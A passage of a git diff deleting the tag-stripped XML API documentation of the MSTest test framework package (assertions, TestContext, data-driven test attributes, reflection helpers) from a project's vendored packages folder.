of 32-bit integers that represent the indexes specifying - the position of the element to set. For instance, to access a[10][11] the array would be {10,11} - - - - - Gets the element in static array - - Name of the array - Additional InvokeHelper attributes - - A one-dimensional array of 32-bit integers that represent the indexes specifying - the position of the element to get. For instance, to access a[10][11] the array would be {10,11} - - element at the specified location - - - - Sets the member of the static array - - Name of the array - Additional InvokeHelper attributes - value to set - - A one-dimensional array of 32-bit integers that represent the indexes specifying - the position of the element to set. For instance, to access a[10][11] the array would be {10,11} - - - - - Gets the static field - - Name of the field - The static field. - - - - Sets the static field - - Name of the field - Argument to the invocation - - - - Gets the static field using specified InvokeHelper attributes - - Name of the field - Additional invocation attributes - The static field. - - - - Sets the static field using binding attributes - - Name of the field - Additional InvokeHelper attributes - Argument to the invocation - - - - Gets the static field or property - - Name of the field or property - The static field or property. - - - - Sets the static field or property - - Name of the field or property - Value to be set to field or property - - - - Gets the static field or property using specified InvokeHelper attributes - - Name of the field or property - Additional invocation attributes - The static field or property. - - - - Sets the static field or property using binding attributes - - Name of the field or property - Additional invocation attributes - Value to be set to field or property - - - - Gets the static property - - Name of the field or property - Arguments to the invocation - The static property. - - - - Sets the static property - - Name of the property - Value to be set to field or property - Arguments to pass to the member to invoke. - - - - Sets the static property - - Name of the property - Value to be set to field or property - An array of objects representing the number, order, and type of the parameters for the indexed property. - Arguments to pass to the member to invoke. - - - - Gets the static property - - Name of the property - Additional invocation attributes. - Arguments to pass to the member to invoke. - The static property. - - - - Gets the static property - - Name of the property - Additional invocation attributes. - An array of objects representing the number, order, and type of the parameters for the indexed property. - Arguments to pass to the member to invoke. - The static property. - - - - Sets the static property - - Name of the property - Additional invocation attributes. - Value to be set to field or property - Optional index values for indexed properties. The indexes of indexed properties are zero-based. This value should be null for non-indexed properties. - - - - Sets the static property - - Name of the property - Additional invocation attributes. - Value to be set to field or property - An array of objects representing the number, order, and type of the parameters for the indexed property. - Arguments to pass to the member to invoke. - - - - Invokes the static method - - Name of the member - Additional invocation attributes - Arguments to the invocation - Culture - Result of invocation - - - - Provides method signature discovery for generic methods. - - - - - Compares the method signatures of these two methods. - - Method1 - Method2 - True if they are similar. - - - - Gets the hierarchy depth from the base type of the provided type. - - The type. - The depth. - - - - Finds most derived type with the provided information. - - Candidate matches. - Number of matches. - The most derived method. - - - - Given a set of methods that match the base criteria, select a method based - upon an array of types. This method should return null if no method matches - the criteria. - - Binding specification. - Candidate matches - Types - Parameter modifiers. - Matching method. Null if none matches. - - - - Finds the most specific method in the two methods provided. - - Method 1 - Parameter order for Method 1 - Parameter array type. - Method 2 - Parameter order for Method 2 - >Parameter array type. - Types to search in. - Args. - An int representing the match. - - - - Finds the most specific method in the two methods provided. - - Method 1 - Parameter order for Method 1 - Parameter array type. - Method 2 - Parameter order for Method 2 - >Parameter array type. - Types to search in. - Args. - An int representing the match. - - - - Finds the most specific type in the two provided. - - Type 1 - Type 2 - The defining type - An int representing the match. - - - - Used to store information that is provided to unit tests. - - - - - Gets test properties for a test. - - - - - Gets or sets the cancellation token source. This token source is canceled when test times out. Also when explicitly canceled the test will be aborted - - - - - Gets the current data row when test is used for data driven testing. - - - - - Gets current data connection row when test is used for data driven testing. - - - - - Gets base directory for the test run, under which deployed files and result files are stored. - - - - - Gets directory for files deployed for the test run. Typically a subdirectory of . - - - - - Gets base directory for results from the test run. Typically a subdirectory of . - - - - - Gets directory for test run result files. Typically a subdirectory of . - - - - - Gets directory for test result files. - - - - - Gets base directory for the test run, under which deployed files and result files are stored. - Same as . Use that property instead. - - - - - Gets directory for files deployed for the test run. Typically a subdirectory of . - Same as . Use that property instead. - - - - - Gets directory for test run result files. Typically a subdirectory of . - Same as . Use that property for test run result files, or - for test-specific result files instead. - - - - - Gets the Fully-qualified name of the class containing the test method currently being executed - - - - - Gets the name of the test method currently being executed - - - - - Gets the current test outcome. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - - Adds a file name to the list in TestResult.ResultFileNames - - - The file Name. - - - - - Begins a timer with the specified name - - Name of the timer. - - - - Ends a timer with the specified name - - Name of the timer. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/Microsoft.VisualStudio.TestPlatform.TestFramework.XML b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/Microsoft.VisualStudio.TestPlatform.TestFramework.XML deleted file mode 100644 index d0eb68e9..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/Microsoft.VisualStudio.TestPlatform.TestFramework.XML +++ /dev/null @@ -1,4477 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Specification to disable parallelization. - - - - - Enum to specify whether the data is stored as property or in method. - - - - - Data is declared as property. - - - - - Data is declared in method. - - - - - Attribute to define dynamic data for a test method. - - - - - Initializes a new instance of the class. - - - The name of method or property having test data. - - - Specifies whether the data is stored as property or in method. - - - - - Initializes a new instance of the class when the test data is present in a class different - from test method's class. - - - The name of method or property having test data. - - - The declaring type of property or method having data. Useful in cases when declaring type is present in a class different from - test method's class. If null, declaring type defaults to test method's class type. - - - Specifies whether the data is stored as property or in method. - - - - - Gets or sets the name of method used to customize the display name in test results. - - - - - Gets or sets the declaring type used to customize the display name in test results. - - - - - - - - - - - Specification for parallelization level for a test run. - - - - - The default scope for the parallel run. Although method level gives maximum parallelization, the default is set to - class level to enable maximum number of customers to easily convert their tests to run in parallel. In most cases within - a class tests aren't thread safe. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the number of workers to be used for the parallel run. - - - - - Gets or sets the scope of the parallel run. - - - To enable all classes to run in parallel set this to . - To get the maximum parallelization level set this to . - - - - - Parallel execution mode. - - - - - Each thread of execution will be handed a TestClass worth of tests to execute. - Within the TestClass, the test methods will execute serially. - - - - - Each thread of execution will be handed TestMethods to execute. - - - - - Test data source for data driven tests. - - - - - Gets the test data from custom test data source. - - - The method info of test method. - - - Test data for calling test method. - - - - - Gets the display name corresponding to test data row for displaying in TestResults. - - - The method info of test method. - - - The test data which is passed to test method. - - - The . - - - - - TestMethod for execution. - - - - - Gets the name of test method. - - - - - Gets the name of test class. - - - - - Gets the return type of test method. - - - - - Gets the arguments with which test method is invoked. - - - - - Gets the parameters of test method. - - - - - Gets the methodInfo for test method. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invokes the test method. - - - Arguments to pass to test method. (E.g. For data driven) - - - Result of test method invocation. - - - This call handles asynchronous test methods as well. - - - - - Get all attributes of the test method. - - - Whether attribute defined in parent class is valid. - - - All attributes. - - - - - Get attribute of specific type. - - System.Attribute type. - - Whether attribute defined in parent class is valid. - - - The attributes of the specified type. - - - - - The helper. - - - - - The check parameter not null. - - - The parameter. - - - The parameter name. - - - The message. - - Throws argument null exception when parameter is null. - - - - The check parameter not null or empty. - - - The parameter. - - - The parameter name. - - - The message. - - Throws ArgumentException when parameter is null. - - - - Enumeration for how we access data rows in data driven testing. - - - - - Rows are returned in sequential order. - - - - - Rows are returned in random order. - - - - - Attribute to define in-line data for a test method. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class. - - The data object. - - - - Initializes a new instance of the class which takes in an array of arguments. - - A data object. - More data. - - - - Gets data for calling test method. - - - - - Gets or sets display name in test results for customization. - - - - - - - - - - - The assert inconclusive exception. - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - Initializes a new instance of the class. - - - - - InternalTestFailureException class. Used to indicate internal failure for a test case - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Initializes a new instance of the class. - - The exception message. - The exception. - - - - Initializes a new instance of the class. - - The exception message. - - - - Initializes a new instance of the class. - - - - - Attribute that specifies to expect an exception of the specified type - - - - - Initializes a new instance of the class with the expected type - - Type of the expected exception - - - - Initializes a new instance of the class with - the expected type and the message to include when no exception is thrown by the test. - - Type of the expected exception - - Message to include in the test result if the test fails due to not throwing an exception - - - - - Gets a value indicating the Type of the expected exception - - - - - Gets or sets a value indicating whether to allow types derived from the type of the expected exception to - qualify as expected - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Verifies that the type of the exception thrown by the unit test is expected - - The exception thrown by the unit test - - - - Base class for attributes that specify to expect an exception from a unit test - - - - - Initializes a new instance of the class with a default no-exception message - - - - - Initializes a new instance of the class with a no-exception message - - - Message to include in the test result if the test fails due to not throwing an - exception - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Gets the message to include in the test result if the test fails due to not throwing an exception - - - - - Gets the default no-exception message - - The ExpectedException attribute type name - The default no-exception message - - - - Determines whether the exception is expected. If the method returns, then it is - understood that the exception was expected. If the method throws an exception, then it - is understood that the exception was not expected, and the thrown exception's message - is included in the test result. The class can be used for - convenience. If is used and the assertion fails, - then the test outcome is set to Inconclusive. - - The exception thrown by the unit test - - - - Rethrow the exception if it is an AssertFailedException or an AssertInconclusiveException - - The exception to rethrow if it is an assertion exception - - - - This class is designed to help user doing unit testing for types which uses generic types. - GenericParameterHelper satisfies some common generic type constraints - such as: - 1. public default constructor - 2. implements common interface: IComparable, IEnumerable - - - - - Initializes a new instance of the class that - satisfies the 'newable' constraint in C# generics. - - - This constructor initializes the Data property to a random value. - - - - - Initializes a new instance of the class that - initializes the Data property to a user-supplied value. - - Any integer value - - - - Gets or sets the Data - - - - - Do the value comparison for two GenericParameterHelper object - - object to do comparison with - true if obj has the same value as 'this' GenericParameterHelper object. - false otherwise. - - - - Returns a hashcode for this object. - - The hash code. - - - - Compares the data of the two objects. - - The object to compare with. - - A signed number indicating the relative values of this instance and value. - - - Thrown when the object passed in is not an instance of . - - - - - Returns an IEnumerator object whose length is derived from - the Data property. - - The IEnumerator object - - - - Returns a GenericParameterHelper object that is equal to - the current object. - - The cloned object. - - - - Enables users to log/write traces from unit tests for diagnostics. - - - - - Handler for LogMessage. - - Message to log. - - - - Event to listen. Raised when unit test writer writes some message. - Mainly to consume by adapter. - - - - - API for test writer to call to Log messages. - - String format with placeholders. - Parameters for placeholders. - - - - TestCategory attribute; used to specify the category of a unit test. - - - - - Initializes a new instance of the class and applies the category to the test. - - - The test Category. - - - - - Gets the test categories that has been applied to the test. - - - - - Base class for the "Category" attribute - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initializes a new instance of the class. - Applies the category to the test. The strings returned by TestCategories - are used with the /category command to filter tests - - - - - Gets the test category that has been applied to the test. - - - - - AssertFailedException class. Used to indicate failure for a test case - - - - - Initializes a new instance of the class. - - The message. - The exception. - - - - Initializes a new instance of the class. - - The message. - - - - Initializes a new instance of the class. - - - - - A collection of helper classes to test various conditions within - unit tests. If the condition being tested is not met, an exception - is thrown. - - - - - Gets the singleton instance of the Assert functionality. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - Thrown if is false. - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - The message to include in the exception when - is false. The message is shown in test results. - - - Thrown if is false. - - - - - Tests whether the specified condition is true and throws an exception - if the condition is false. - - - The condition the test expects to be true. - - - The message to include in the exception when - is false. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is false. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - Thrown if is true. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - The message to include in the exception when - is true. The message is shown in test results. - - - Thrown if is true. - - - - - Tests whether the specified condition is false and throws an exception - if the condition is true. - - - The condition the test expects to be false. - - - The message to include in the exception when - is true. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is true. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - Thrown if is not null. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - The message to include in the exception when - is not null. The message is shown in test results. - - - Thrown if is not null. - - - - - Tests whether the specified object is null and throws an exception - if it is not. - - - The object the test expects to be null. - - - The message to include in the exception when - is not null. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - Thrown if is null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - The message to include in the exception when - is null. The message is shown in test results. - - - Thrown if is null. - - - - - Tests whether the specified object is non-null and throws an exception - if it is null. - - - The object the test expects not to be null. - - - The message to include in the exception when - is null. The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is null. - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not the same as . The message is shown - in test results. - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects both refer to the same object and - throws an exception if the two inputs do not refer to the same object. - - - The first object to compare. This is the value the test expects. - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not the same as . The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if does not refer to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is the same as . The message is shown in - test results. - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified objects refer to different objects and - throws an exception if the two inputs refer to the same object. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is the same as . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if refers to the same object - as . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - Thrown if is not equal to . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified values are equal and throws an exception - if the two values are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the tests expects. - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified values are unequal and throws an exception - if the two values are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The type of values to compare. - - - The first value to compare. This is the value the test expects not - to match . - - - The second value to compare. This is the value produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are equal and throws an exception - if the two objects are not equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the object the tests expects. - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - Thrown if is equal to . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified objects are unequal and throws an exception - if the two objects are equal. Different numeric types are treated - as unequal even if the logical values are equal. 42L is not equal to 42. - - - The first object to compare. This is the value the test expects not - to match . - - - The second object to compare. This is the object produced by the code under test. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are equal and throws an exception - if they are not equal. - - - The first float to compare. This is the float the tests expects. - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to - . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - Thrown if is equal to . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - Thrown if is equal to . - - - - - Tests whether the specified floats are unequal and throws an exception - if they are equal. - - - The first float to compare. This is the float the test expects not to - match . - - - The second float to compare. This is the float produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - Thrown if is not equal to - . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are equal and throws an exception - if they are not equal. - - - The first double to compare. This is the double the tests expects. - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by more than . - - - The message to include in the exception when - is different than by more than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - Thrown if is equal to . - - - - - Tests whether the specified doubles are unequal and throws an exception - if they are equal. - - - The first double to compare. This is the double the test expects not to - match . - - - The second double to compare. This is the double produced by the code under test. - - - The required accuracy. An exception will be thrown only if - is different than - by at most . - - - The message to include in the exception when - is equal to or different by less than - . The message is shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are equal and throws an exception - if they are not equal. - - - The first string to compare. This is the string the tests expects. - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is not equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is not equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. The invariant culture is used for the comparison. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - Thrown if is equal to . - - - - - Tests whether the specified strings are unequal and throws an exception - if they are equal. - - - The first string to compare. This is the string the test expects not to - match . - - - The second string to compare. This is the string produced by the code under test. - - - A Boolean indicating a case-sensitive or insensitive comparison. (true - indicates a case-insensitive comparison.) - - - A CultureInfo object that supplies culture-specific comparison information. - - - The message to include in the exception when - is equal to . The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Thrown if is equal to . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - The message to include in the exception when - is not an instance of . The message is - shown in test results. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is an instance of the expected - type and throws an exception if the expected type is not in the - inheritance hierarchy of the object. - - - The object the test expects to be of the specified type. - - - The expected type of . - - - The message to include in the exception when - is not an instance of . The message is - shown in test results. - - - An array of parameters to use when formatting . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - The message to include in the exception when - is an instance of . The message is shown - in test results. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Tests whether the specified object is not an instance of the wrong - type and throws an exception if the specified type is in the - inheritance hierarchy of the object. - - - The object the test expects not to be of the specified type. - - - The type that should not be. - - - The message to include in the exception when - is an instance of . The message is shown - in test results. - - - An array of parameters to use when formatting . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Throws an AssertFailedException. - - - Always thrown. - - - - - Throws an AssertFailedException. - - - The message to include in the exception. The message is shown in - test results. - - - Always thrown. - - - - - Throws an AssertFailedException. - - - The message to include in the exception. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - The message to include in the exception. The message is shown in - test results. - - - Always thrown. - - - - - Throws an AssertInconclusiveException. - - - The message to include in the exception. The message is shown in - test results. - - - An array of parameters to use when formatting . - - - Always thrown. - - - - - Static equals overloads are used for comparing instances of two types for reference - equality. This method should not be used for comparison of two instances for - equality. This object will always throw with Assert.Fail. Please use - Assert.AreEqual and associated overloads in your unit tests. - - Object A - Object B - False, always. - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - The exception that was thrown. - - - - - Tests whether the code specified by delegate throws exact given exception of type (and not of derived type) - and throws - - AssertFailedException - - if code does not throws exception or throws exception of type other than . - - - Delegate to code to be tested and which is expected to throw exception. - - - The message to include in the exception when - does not throws exception of type . 